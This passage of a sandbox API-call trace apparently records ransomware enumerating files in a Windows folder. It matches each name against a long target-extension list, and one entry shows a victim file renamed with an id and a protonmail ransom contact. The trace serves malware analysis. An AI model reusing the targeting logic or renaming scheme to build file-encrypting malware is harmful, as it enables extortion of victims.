	[0060.994] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".cr2") returned 4
	[0060.994] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".crt") returned 4
	[0060.994] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".crw") returned 4
	[0060.994] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".cs") returned 3
	[0060.994] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0060.994] lstrlenW (lpString=".css") returned 4
	[0060.994] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".csv") returned 4
	[0060.994] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".cub") returned 4
	[0060.994] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".dae") returned 4
	[0060.994] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".dat") returned 4
	[0060.994] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0060.994] lstrlenW (lpString=".db") returned 3
	[0060.994] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0060.995] lstrlenW (lpString=".dbf") returned 4
	[0060.995] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dbx") returned 4
	[0060.995] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dc3") returned 4
	[0060.995] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dcm") returned 4
	[0060.995] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dcr") returned 4
	[0060.995] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".der") returned 4
	[0060.995] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dib") returned 4
	[0060.995] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dic") returned 4
	[0060.995] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".dif") returned 4
	[0060.995] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".divx") returned 5
	[0060.995] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0060.995] lstrlenW (lpString=".djvu") returned 5
	[0060.995] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0060.995] lstrlenW (lpString=".dng") returned 4
	[0060.995] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".doc") returned 4
	[0060.995] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0060.995] lstrlenW (lpString=".docm") returned 5
	[0060.995] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0060.995] lstrlenW (lpString=".docx") returned 5
	[0060.995] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0060.995] lstrlenW (lpString=".dot") returned 4
	[0060.995] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dotm") returned 5
	[0060.996] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0060.996] lstrlenW (lpString=".dotx") returned 5
	[0060.996] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0060.996] lstrlenW (lpString=".dpx") returned 4
	[0060.996] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dqy") returned 4
	[0060.996] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dsn") returned 4
	[0060.996] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dt") returned 3
	[0060.996] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0060.996] lstrlenW (lpString=".dtd") returned 4
	[0060.996] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dwg") returned 4
	[0060.996] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dwt") returned 4
	[0060.996] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".dx") returned 3
	[0060.996] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0060.996] lstrlenW (lpString=".dxf") returned 4
	[0060.996] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".edml") returned 5
	[0060.996] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0060.996] lstrlenW (lpString=".efd") returned 4
	[0060.996] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".elf") returned 4
	[0060.996] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".emf") returned 4
	[0060.996] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".emz") returned 4
	[0060.996] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0060.996] lstrlenW (lpString=".epf") returned 4
	[0060.997] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".eps") returned 4
	[0060.997] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".epsf") returned 5
	[0060.997] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0060.997] lstrlenW (lpString=".epsp") returned 5
	[0060.997] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0060.997] lstrlenW (lpString=".erf") returned 4
	[0060.997] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".exr") returned 4
	[0060.997] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".f4v") returned 4
	[0060.997] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".fido") returned 5
	[0060.997] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0060.997] lstrlenW (lpString=".flm") returned 4
	[0060.997] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".flv") returned 4
	[0060.997] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".frm") returned 4
	[0060.997] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".fxg") returned 4
	[0060.997] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".geo") returned 4
	[0060.997] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".gif") returned 4
	[0060.997] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".grs") returned 4
	[0060.997] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0060.997] lstrlenW (lpString=".gz") returned 3
	[0060.997] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0060.997] lstrlenW (lpString=".h") returned 2
	[0060.998] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0060.998] lstrlenW (lpString=".hdr") returned 4
	[0060.998] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0060.998] lstrlenW (lpString=".hpp") returned 4
	[0060.998] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0060.998] lstrlenW (lpString=".hta") returned 4
	[0060.998] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0060.998] lstrlenW (lpString=".htc") returned 4
	[0060.998] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0060.998] lstrlenW (lpString=".htm") returned 4
	[0060.998] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0060.998] lstrlenW (lpString=".html") returned 5
	[0060.998] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0060.998] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.998] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.998] lstrlenW (lpString=".1cd") returned 4
	[0060.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.998] lstrlenW (lpString=".3ds") returned 4
	[0060.998] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1
	[0060.998] lstrlenW (lpString=".3fr") returned 4
	[0060.998] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1
	[0060.998] lstrlenW (lpString=".3g2") returned 4
	[0060.998] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1
	[0060.998] lstrlenW (lpString=".3gp") returned 4
	[0060.998] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1
	[0060.998] lstrlenW (lpString=".7z") returned 3
	[0060.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.998] lstrlenW (lpString=".accda") returned 6
	[0060.998] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1
	[0060.998] lstrlenW (lpString=".accdb") returned 6
	[0060.998] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1
	[0060.999] lstrlenW (lpString=".accdc") returned 6
	[0060.999] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1
	[0060.999] lstrlenW (lpString=".accde") returned 6
	[0060.999] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1
	[0060.999] lstrlenW (lpString=".accdt") returned 6
	[0060.999] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1
	[0060.999] lstrlenW (lpString=".accdw") returned 6
	[0060.999] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1
	[0060.999] lstrlenW (lpString=".adb") returned 4
	[0060.999] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".adp") returned 4
	[0060.999] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai") returned 3
	[0060.999] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1
	[0060.999] lstrlenW (lpString=".ai3") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai4") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai5") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai6") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai7") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".ai8") returned 4
	[0060.999] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1
	[0060.999] lstrlenW (lpString=".anim") returned 5
	[0060.999] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1
	[0060.999] lstrlenW (lpString=".arw") returned 4
	[0061.000] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".as") returned 3
	[0061.000] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1
	[0061.000] lstrlenW (lpString=".asa") returned 4
	[0061.000] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".asc") returned 4
	[0061.000] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".ascx") returned 5
	[0061.000] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1
	[0061.000] lstrlenW (lpString=".asm") returned 4
	[0061.000] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".asmx") returned 5
	[0061.000] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1
	[0061.000] lstrlenW (lpString=".asp") returned 4
	[0061.000] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".aspx") returned 5
	[0061.000] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1
	[0061.000] lstrlenW (lpString=".asr") returned 4
	[0061.000] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".asx") returned 4
	[0061.000] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".avi") returned 4
	[0061.000] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".avs") returned 4
	[0061.000] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1
	[0061.000] lstrlenW (lpString=".backup") returned 7
	[0061.000] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1
	[0061.000] lstrlenW (lpString=".bak") returned 4
	[0061.000] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".bay") returned 4
	[0061.001] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".bd") returned 3
	[0061.001] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1
	[0061.001] lstrlenW (lpString=".bin") returned 4
	[0061.001] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".bmp") returned 4
	[0061.001] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".bz2") returned 4
	[0061.001] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".c") returned 2
	[0061.001] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0061.001] lstrlenW (lpString=".cdr") returned 4
	[0061.001] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".cer") returned 4
	[0061.001] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".cf") returned 3
	[0061.001] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1
	[0061.001] lstrlenW (lpString=".cfc") returned 4
	[0061.001] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".cfm") returned 4
	[0061.001] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".cfml") returned 5
	[0061.001] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1
	[0061.001] lstrlenW (lpString=".cfu") returned 4
	[0061.001] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1
	[0061.001] lstrlenW (lpString=".chm") returned 4
	[0061.002] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".cin") returned 4
	[0061.002] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".class") returned 6
	[0061.002] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1
	[0061.002] lstrlenW (lpString=".clx") returned 4
	[0061.002] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".config") returned 7
	[0061.002] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1
	[0061.002] lstrlenW (lpString=".cpp") returned 4
	[0061.002] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".cr2") returned 4
	[0061.002] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".crt") returned 4
	[0061.002] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".crw") returned 4
	[0061.002] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".cs") returned 3
	[0061.002] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1
	[0061.002] lstrlenW (lpString=".css") returned 4
	[0061.002] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".csv") returned 4
	[0061.002] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1
	[0061.002] lstrlenW (lpString=".cub") returned 4
	[0061.002] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dae") returned 4
	[0061.003] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dat") returned 4
	[0061.003] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".db") returned 3
	[0061.003] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1
	[0061.003] lstrlenW (lpString=".dbf") returned 4
	[0061.003] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dbx") returned 4
	[0061.003] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dc3") returned 4
	[0061.003] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dcm") returned 4
	[0061.003] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dcr") returned 4
	[0061.003] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".der") returned 4
	[0061.003] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dib") returned 4
	[0061.003] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dic") returned 4
	[0061.003] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".dif") returned 4
	[0061.003] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".divx") returned 5
	[0061.003] lstrcmpiW (lpString1=".divx", lpString2="a.xml") returned -1
	[0061.003] lstrlenW (lpString=".djvu") returned 5
	[0061.003] lstrcmpiW (lpString1=".djvu", lpString2="a.xml") returned -1
	[0061.003] lstrlenW (lpString=".dng") returned 4
	[0061.003] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1
	[0061.003] lstrlenW (lpString=".doc") returned 4
	[0061.003] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".docm") returned 5
	[0061.004] lstrcmpiW (lpString1=".docm", lpString2="a.xml") returned -1
	[0061.004] lstrlenW (lpString=".docx") returned 5
	[0061.004] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0061.004] lstrlenW (lpString=".dot") returned 4
	[0061.004] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dotm") returned 5
	[0061.004] lstrcmpiW (lpString1=".dotm", lpString2="a.xml") returned -1
	[0061.004] lstrlenW (lpString=".dotx") returned 5
	[0061.004] lstrcmpiW (lpString1=".dotx", lpString2="a.xml") returned -1
	[0061.004] lstrlenW (lpString=".dpx") returned 4
	[0061.004] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dqy") returned 4
	[0061.004] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dsn") returned 4
	[0061.004] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dt") returned 3
	[0061.004] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1
	[0061.004] lstrlenW (lpString=".dtd") returned 4
	[0061.004] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dwg") returned 4
	[0061.004] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dwt") returned 4
	[0061.004] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".dx") returned 3
	[0061.004] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1
	[0061.004] lstrlenW (lpString=".dxf") returned 4
	[0061.004] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".edml") returned 5
	[0061.004] lstrcmpiW (lpString1=".edml", lpString2="a.xml") returned -1
	[0061.004] lstrlenW (lpString=".efd") returned 4
	[0061.004] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1
	[0061.004] lstrlenW (lpString=".elf") returned 4
	[0061.005] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".emf") returned 4
	[0061.005] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".emz") returned 4
	[0061.005] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".epf") returned 4
	[0061.005] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".eps") returned 4
	[0061.005] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".epsf") returned 5
	[0061.005] lstrcmpiW (lpString1=".epsf", lpString2="a.xml") returned -1
	[0061.005] lstrlenW (lpString=".epsp") returned 5
	[0061.005] lstrcmpiW (lpString1=".epsp", lpString2="a.xml") returned -1
	[0061.005] lstrlenW (lpString=".erf") returned 4
	[0061.005] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".exr") returned 4
	[0061.005] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".f4v") returned 4
	[0061.005] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".fido") returned 5
	[0061.005] lstrcmpiW (lpString1=".fido", lpString2="a.xml") returned -1
	[0061.005] lstrlenW (lpString=".flm") returned 4
	[0061.005] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".flv") returned 4
	[0061.005] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".frm") returned 4
	[0061.005] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".fxg") returned 4
	[0061.005] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".geo") returned 4
	[0061.005] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1
	[0061.005] lstrlenW (lpString=".gif") returned 4
	[0061.005] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".grs") returned 4
	[0061.006] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".gz") returned 3
	[0061.006] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1
	[0061.006] lstrlenW (lpString=".h") returned 2
	[0061.006] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0061.006] lstrlenW (lpString=".hdr") returned 4
	[0061.006] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".hpp") returned 4
	[0061.006] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".hta") returned 4
	[0061.006] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".htc") returned 4
	[0061.006] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".htm") returned 4
	[0061.006] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".html") returned 5
	[0061.006] lstrcmpiW (lpString1=".html", lpString2="a.xml") returned -1
	[0061.006] lstrlenW (lpString=".icb") returned 4
	[0061.006] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".ics") returned 4
	[0061.006] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".iff") returned 4
	[0061.006] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1
	[0061.006] lstrlenW (lpString=".inc") returned 4
	[0061.006] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1
	[0061.006] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c4e50e, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80c4e50e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80c4e50e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="LOCALI~1.HTM")) returned 1
	[0061.006] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.007] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.007] FindClose (in: hFindFile=0x5e0630 | out: hFindFile=0x5e0630) returned 1
	[0061.007] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0061.007] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1
	[0061.007] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0061.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26
	[0061.007] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x80d33efc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0730
